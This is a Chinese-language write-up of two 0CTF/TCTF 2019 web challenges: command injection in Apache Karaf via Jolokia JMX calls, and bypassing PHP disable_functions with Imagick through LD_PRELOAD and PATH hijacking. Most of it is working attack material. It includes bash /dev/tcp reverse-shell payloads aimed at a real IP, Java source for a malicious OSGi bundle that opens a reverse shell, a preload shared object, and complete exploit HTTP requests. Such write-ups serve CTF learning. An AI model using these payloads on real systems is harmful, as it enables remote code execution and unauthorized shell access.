0CTF/TCTF 2019 WEB writeup
karaf + jolokia
0x01 Ghost Pepper
题目
karaf + jolokia
解题思路
官方文档部分内容:
- JMX-HTTP bridge with Jolokia - https://karaf.apache.org/manual/latest/#_jmx_http_bridge_with_jolokia
- Request/Response - https://jolokia.org/reference/html/protocol.html#request-response
- Operations - https://jolokia.org/reference/html/protocol.html#jolokia-operations
Instance
跟入startInstace,可以看到除了第一种重载外,在instance启动时都加载了opts参数
// org.apache.karaf.instance.core.internal.InstancesMBeanImpl#startInstance(...)
public void startInstance(String name) throws MBeanException { try { getExistingInstance(name).start(null); // HERE } catch (Exception e) { throw new MBeanException(null, e.toString()); }}
public void startInstance(String name, String opts) throws MBeanException { try { getExistingInstance(name).start(opts); // HERE } catch (Exception e) { throw new MBeanException(null, e.toString()); }}
public void startInstance(String name, String opts, boolean wait, boolean debug) throws MBeanException { try { Instance child = getExistingInstance(name); String options = opts; if (options == null) { options = child.getJavaOpts(); } if (options == null) { options = DEFAULT_OPTS; } if (debug) { options += DEBUG_OPTS; } if (wait) { String state = child.getState(); if (Instance.STOPPED.equals(state)) { child.start(opts); } if (!Instance.STARTED.equals(state)) { do { Thread.sleep(500); state = child.getState(); } while (Instance.STARTING.equals(state)); } } else { child.start(opts); // HERE } } catch (Exception e) { throw new MBeanException(null, e.toString()); }}跟入startInstance后,在doStart中加载 opts 变量
// org.apache.karaf.instance.core.internal.InstanceServiceImpl#startInstancepublic void startInstance(final String name, final String javaOpts) { execute(state -> { InstanceState instance = state.instances.get(name); if (instance == null) { throw new IllegalArgumentException("Instance " + name + " not found"); } checkPid(instance); if (instance.pid != 0) { throw new IllegalStateException("Instance already started"); } doStart(instance, name, javaOpts); return null; }, true);}跟入doStart后,可见opts被拼接到command中并带入到新进程中
// org.apache.karaf.instance.core.internal.InstanceServiceImpl#doStartprivate void doStart(InstanceState instance, String name, String javaOpts) throws IOException { String opts = javaOpts; if (opts == null || opts.length() == 0) { opts = instance.opts; } if (opts == null || opts.length() == 0) { opts = DEFAULT_JAVA_OPTS; }
... String command = "\"" + new File(System.getProperty("java.home"), ScriptUtils.isWindows() ? "bin\\java.exe" : "bin/java").getCanonicalPath() + "\" " + opts + " " + karafOpts + " " + jdkOpts + " -Djava.util.logging.config.file=\"" + new File(location, "etc/java.util.logging.properties").getCanonicalPath() + "\"" + " -Dkaraf.home=\"" + System.getProperty("karaf.home") + "\"" + " -Dkaraf.base=\"" + new File(location).getCanonicalPath() + "\"" + " -Dkaraf.data=\"" + new File(new File(location).getCanonicalPath(), "data") + "\"" + " -Dkaraf.etc=\"" + new File(new File(location).getCanonicalPath(), "etc") + "\"" + " -Dkaraf.log=\"" + new File(new File(new File(location).getCanonicalFile(), "data"), "log") + "\"" + " -Djava.io.tmpdir=\"" + new File(new File(location).getCanonicalPath(), "data" + File.separator + "tmp") + "\"" + " -Dkaraf.startLocalConsole=false" + " -Dkaraf.startRemoteShell=true" + " -classpath \"" + classpath.toString() + "\"" + " org.apache.karaf.main.Main server"; if (System.getenv("KARAF_REDIRECT") != null && !System.getenv("KARAF_REDIRECT").isEmpty()) { command = command + " >> " + System.getenv("KARAF_REDIRECT"); }
LOGGER.debug("Starting instance " + name + " with command: " + command); Process process = new ProcessBuilderFactoryImpl().newBuilder() .directory(new File(location)) .command(command) .start(); instance.pid = process.getPid();}// org.apache.karaf.jpm.impl.ProcessImpl#createpublic static Process create(File dir, String command) throws IOException { ... try { ... if (ScriptUtils.isWindows()) { command = command.replaceAll("\"", "\"\""); } props.put("${command}", command); int ret = ScriptUtils.execute("start", props); if (ret != 0) { throw new IOException("Unable to create process (error code: " + ret + ")"); } ... } finally { ... }}最后跟入到这里,基本确定是通过替换unix/start.sh中${command}替换为opts后执行,且没有过滤
public static int execute(String name, Map<String, String> props) throws IOException { File script = File.createTempFile("jpm.", ".script"); try { if (isWindows()) { ... } else { String res = "unix/" + name + ".sh"; ScriptUtils.copyFilteredResource(res, script, props); return executeProcess(new java.lang.ProcessBuilder("/bin/sh", script.getCanonicalPath())); } } finally { script.delete(); }}
public static void copyFilteredResource(String resource, File outFile, Map<String, String> props) throws IOException { InputStream is = null; try { is = ScriptUtils.class.getResourceAsStream(resource); ... PrintStream out = new PrintStream(new FileOutputStream(outFile)); try { Scanner scanner = new Scanner(is); while (scanner.hasNextLine() ) { String line = scanner.nextLine(); line = filter(line, props); ... ...}
private static String filter(String line, Map<String, String> props) { for (Map.Entry<String, String> i : props.entrySet()) { int p1 = line.indexOf(i.getKey()); if( p1 >= 0 ) { String l1 = line.substring(0, p1); String l2 = line.substring(p1+i.getKey().length()); line = l1+i.getValue()+l2; } } return line;}通过拼接完整命令过于复杂,不如直接使用||直接使前面的命令错误后执行恶意代码并使用#忽略后面的命令
any sh script code || exp code # comment code- createInstance 可以还有p9,默认值为localhost
- startInstance 必须是
argc == 2 or 4,因为这样才会加载opts
关键的接口
{ "org.apache.karaf": { "name=root,type=instance": { "op": { "createInstance": [ { "args": [ { "name": "p1", "type": "java.lang.String", "desc": "" }, { "name": "p2", "type": "int", "desc": "" }, { "name": "p3", "type": "int", "desc": "" }, { "name": "p4", "type": "int", "desc": "" }, { "name": "p5", "type": "java.lang.String", "desc": "" }, { "name": "p6", "type": "java.lang.String", "desc": "" }, { "name": "p7", "type": "java.lang.String", "desc": "" }, { "name": "p8", "type": "java.lang.String", "desc": "" }], "ret": "int", "desc": "Operation exposed for management" }], "cloneInstance": { "args": ["..."], "ret": "void", "desc": "Operation exposed for management" }, "startInstance": { "args": [ { "name": "p1", "type": "java.lang.String", "desc": "" }, { "name": "p2", "type": "java.lang.String", "desc": "" }], "ret": "void", "desc": "Operation exposed for management" } } } }}创建instance,这里可以选择填或不填opts

启动instance
{ "type" : "exec", "mbean" : "org.apache.karaf:name=root,type=instance", "operation": "startInstance(java.lang.String,java.lang.String)", "arguments": ["expIns","|| /bin/bash -i >& /dev/tcp/132.232.84.148/9991 0>&1 #"]}反弹shell,获取flag

bundle
- 可用于远程安装bundle的接口
{ "org.apache.karaf": { "name=root,type=bundle": { "op": { "install": [ { "args": [ { "name": "p1", "type": "java.lang.String", "desc": "" }], "ret": "long", "desc": "Operation exposed for management" }, { "args": [ { "name": "p1", "type": "java.lang.String", "desc": "" }, { "name": "p2", "type": "boolean", "desc": "" }], "ret": "long", "desc": "Operation exposed for management" }] } } }, "osgi.core": { "framework=org.eclipse.osgi,type=framework,uuid=de99e068-9c3d-43ec-9355-ae980625a263,version=1.7": { "op": {
"installBundleFromURL": { "args": [ { "name": "p1", "type": "java.lang.String", "desc": "" }, { "name": "p2", "type": "java.lang.String", "desc": "" }], "ret": "long", "desc": "Operation exposed for management" } } } }}对应安装请求
# 这个没看到相关文档{ "type": "exec", "mbean": "org.apache.karaf:name=root,type=bundle", "operation": "install(java.lang.String)", "arguments": ["http://<url>/<filename>.jar"]}
# https://osgi.org/javadoc/r5/enterprise/org/osgi/jmx/framework/FrameworkMBean.html{ "type": "exec", "mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,uuid=92c6536a-252a-4073-9d86-6de14c65b099,version=1.7", "operation": "installBundleFromURL", "arguments": [ "<custom>", "http://<url>/<filename>.jar" ]}- 启动bundle
{ "type": "exec", "mbean": "org.apache.karaf:name=root,type=bundle", "operation": "start", "arguments": ["<id>"]}思路:通过上面的jmx接口直接安装bundle,再请求启动,通过构造恶意bundle反弹shell
bundle构造参考:https://chenjingbo.iteye.com/blog/1893597
反弹shell参考:https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0
import org.osgi.framework.BundleActivator;import org.osgi.framework.BundleContext;
import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;
public class Activator implements BundleActivator { @Override public void start(BundleContext context) throws Exception { try { try { String host = "132.232.84.148"; int port = 9991; Socket s = new Socket(host, port); String cmd = "/bin/sh"; Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); } p.destroy(); s.close(); } catch (Exception e) { e.printStackTrace(); } } catch (Exception e) { } }
@Override public void stop(BundleContext context) throws Exception { System.out.println("GoodDay Sariel.D"); }}请求安装bundle,从response中获取id

启动bundle,反弹shell,获取flag

webconsole
Webconsole - https://karaf.apache.org/manual/latest/#_webconsole_2
思路:通过installFeature接口安装webconsole直接通过web terminal获取flag
{ "org.apache.karaf": { "name=root,type=feature": { "op": { "installFeature": { "args": [ { "name": "p1", "type": "java.lang.String", "desc": "" }], "ret": "void", "desc": "Operation exposed for management" } } } }}请求安装webconsole
# Requesthttp://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole
# Response{"request":{"mbean":"org.apache.karaf:name=root,type=feature","arguments":["webconsole"],"type":"exec","operation":"installFeature(java.lang.String)"},"value":null,"timestamp":1553784696,"status":200}访问 http://111.186.63.207:31337/system/console/gogo

0x02 Wallbreaker Easy
题目
Imagick is a awesome library for hackers to break
disable_functions.
So I installed php-imagick in the server, opened abackdoorfor you.
Let’s try to execute/readflagto get the flag.
Open basedir: /var/www/html:/tmp/ebfefbea019329429795eddb87a42b03
Hint: eval($_POST[“backdoor”]);
题目提示
- open basedir
- bypass
disable_functions
查看一下被禁用的函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
解题思路
putenv — 设置环境变量的值
(PHP 4, PHP 5, PHP 7)
putenv ( string $setting ) : bool添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
设置特定的环境变量也有可能是一个潜在的安全漏洞。 safe_mode_allowed_env_vars 包含了一个以逗号分隔的前缀列表。 在安全模式下,用户可以仅能修改用该指令设定的前缀名称的指令。 默认情况下,用户仅能够修改以 PHP_ 开头的环境变量(例如 PHP_FOO=BAR)。 注意:如果此指令是空的,PHP允许用户设定任意环境变量!
可以利用的两种姿势
- 巧用LD_PRELOAD突破disable_functions
- putenv代替LD_PRELOAD设定PATH
LD_PRELOAD
Orz当时没有仔细看完文章,在文章最下面提到了预加载时执行恶意代码。
通过设置函数属性使恶意函数在main前执行(实际上恶意bin内并没有main)
void __attribute__((constructor)) callFunction();相关链接:
- https://www.geeksforgeeks.org/__attribute__constructor-__attribute__destructor-syntaxes-c/
- https://gcc.gnu.org/onlinedocs/gcc-6.2.0/gcc/Common-Function-Attributes.html
思路:编译so目标执行/readflag或者反弹shell,在远程服务器上下载so文件,putenv设置LD_PRELOAD为so路径,利用Imagick创建新进程加载共享对象so执行恶意代码
准备恶意exp.so
#define _GUN_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>
__attribute__((__constructor__)) void preload(void){ system("/readflag > /tmp/67a58821b4954ed1fc03f797da745bbc/flag");}编译,默认64位(若需86位添加-m32)
gcc -shared -fPIC exp -o exp.so几种远程文件下载方式
file_put_contents('/local/path/filename', fopen('http://url/filename', 'r'));copy('http://url/filename', '/local/path/filename');Request 数据包
Content-Type: multipart/form-data; boundary=--------414593323
----------414593323Content-Disposition: form-data; name="backdoor"
echo('---start---\n');copy('http://url/exp.so', '/tmp/67a58821b4954ed1fc03f797da745bbc/exp.so');file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png', base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWP4////fwAJ+wP9CNHoHgAAAABJRU5ErkJggg=='));putenv('LD_PRELOAD=/tmp/67a58821b4954ed1fc03f797da745bbc/exp.so');$c = new Imagick('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png');$c -> writeImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.wmv');echo('---end---');
----------414593323--putenv
除了利用Imagick创建新进程加载共享对象时注入恶意代码,可以直接利用putenv设定在恶意path下寻找目标bin,而通过恶意bin和目标bin重名,使得恶意代码被主动执行
Imagick在进行图片格式转换时部分是委托(delegate)给外部程序来实现,以bpg为例,会在执行目录下搜索bpgenc程序
<delegatemap> <delegate decode="bpg" command=""@BPGDecodeDelegate@" -b 16 -o "%o.png" "%i"; @MVDelegate@ "%o.png" "%o""/>configure.ac文件声明的外部调用程序基本都可用于实现攻击
# configure.acBPGDecodeDelegateDefault='bpgdec'本地尝试转换png为bpg,可以看到php尝试execve进程执行
root@test:/tmp# strace -f php test.php 2>&1 | grep -A2 -B2 execveexecve("/usr/bin/php", ["php", "test.php"], 0x7ffedbee34b0 /* 40 vars */) = 0brk(NULL) = 0x55d9adb9c000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)--
[pid 23113] set_robust_list(0x7f25bc716e60, 24) = 0[pid 23113] execve("/usr/local/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)[pid 23113] execve("/usr/local/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)[pid 23113] execve("/usr/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)[pid 23113] execve("/usr/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)[pid 23113] execve("/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)[pid 23113] execve("/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)思路:通过生成bpgenc程序(赋予执行权限),putenv设置PATH为bin所在路径,这样imagick转换bpg文件时即会执行bpgenc。反弹shell或者直接读取flag均可
POST / HTTP/1.1Host: 111.186.63.208:31340Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36DNT: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=--------414593323Content-Length: 714
----------414593323Content-Disposition: form-data; name="backdoor"
echo('---start---\n');file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/bpgenc', "#!/bin/bash\n/bin/bash -i >& /dev/tcp/132.***.***.***/8088 0>&1");file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png', base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWP4////fwAJ+wP9CNHoHgAAAABJRU5ErkJggg=='));putenv('PATH=/tmp/67a58821b4954ed1fc03f797da745bbc/');chmod('/tmp/67a58821b4954ed1fc03f797da745bbc/bpgenc', 0777);$c = new Imagick();$c -> readImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png');$c -> writeImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.bpg');echo('---end---');
----------414593323--获取flag
[root@vm_0_17_centos ~]# nc -lvvp 8088Ncat: Version 7.50 ( https://nmap.org/ncat )Ncat: Listening on :::8088Ncat: Listening on 0.0.0.0:8088Ncat: Connection from 111.186.63.208.Ncat: Connection from 111.186.63.208:49820.bash: cannot set terminal process group (8): Inappropriate ioctl for devicebash: no job control in this shellbash: groups: command not foundwww-data@5ad7cec6b953:~/html$ /readflag/readflagflag{PUTENVANDIMAGICKAREGOODFRIENDS}